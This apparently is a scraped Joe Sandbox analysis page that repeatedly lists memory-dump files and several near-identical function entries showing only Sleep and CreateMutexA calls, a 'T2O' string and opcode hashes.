Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: 6a0690fa0c5a49afb4b3db2d88f3a455565c323491ff45f3c05a0a131f555bac
Instruction ID: df4aef408eff9b05aa7d5a7f4bb23941964e93a25684759d8dc2aba5936955fc
Opcode Fuzzy Hash: 6a0690fa0c5a49afb4b3db2d88f3a455565c323491ff45f3c05a0a131f555bac
Instruction Fuzzy Hash: 18314C71A041448BEF08DB7CDD89B6EBF62EB82315F20462EE014973D5D77D99808759

Function 00499F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: 7ade40eb5e6217a4256cc94fb79ca8f8ff694bea21c543e8128fa243ff98b056
Instruction ID: 70c5d08a7b6dff532c6446fb8c0516587fcc3d06052a0495c7044fb516826acd
Opcode Fuzzy Hash: 7ade40eb5e6217a4256cc94fb79ca8f8ff694bea21c543e8128fa243ff98b056
Instruction Fuzzy Hash: 69314871A041448BEF08DB6CCD887ADBF62EB86318F24462EE014D73D9D77D9990875A

Function 0049A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: a9f4d91e76badd8024e73dd1842ff62772c78a19aa87e8403564ec9b067f9dfd
Instruction ID: 7e2f98c0b2ab4e1fdcfbf5bcf90bdc21ce3e5db3d4f653a17b59c7b736026ab6
Opcode Fuzzy Hash: a9f4d91e76badd8024e73dd1842ff62772c78a19aa87e8403564ec9b067f9dfd
Instruction Fuzzy Hash: 49314A71B041409BEF08DF7CCD89B6DBF62EB82318F24462EE014973D5D77E9990869A

Function 0049A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: 036be92627d58a03dbe75003ec6b4190fd0f374cd2e82199ea124f1d585c7f07
Instruction ID: d79a09676b915f5611a14c52cb21292488142d4753eb4b1f6e1944212f8af7d2
Opcode Fuzzy Hash: 036be92627d58a03dbe75003ec6b4190fd0f374cd2e82199ea124f1d585c7f07
Instruction Fuzzy Hash: E9316A71A041409BFF08DB7CDD89B6DBF62EB86314F20462EE004973D5D77D9990879A

Function 0049A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: 5d87a42fadee8fc46a18941f4b4037e2e4a54dbcf55259d954fab05bed6d27c0
Instruction ID: a1aed651764789f82b82589d5aa499ed104ca14e9cc4b68beddc8015cb217b5a
Opcode Fuzzy Hash: 5d87a42fadee8fc46a18941f4b4037e2e4a54dbcf55259d954fab05bed6d27c0
Instruction Fuzzy Hash: 51316C71A041009BEF08DB7CCD89B6DBB61EF82318F20862EE014973D5DB7D9990869E

Function 0049A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
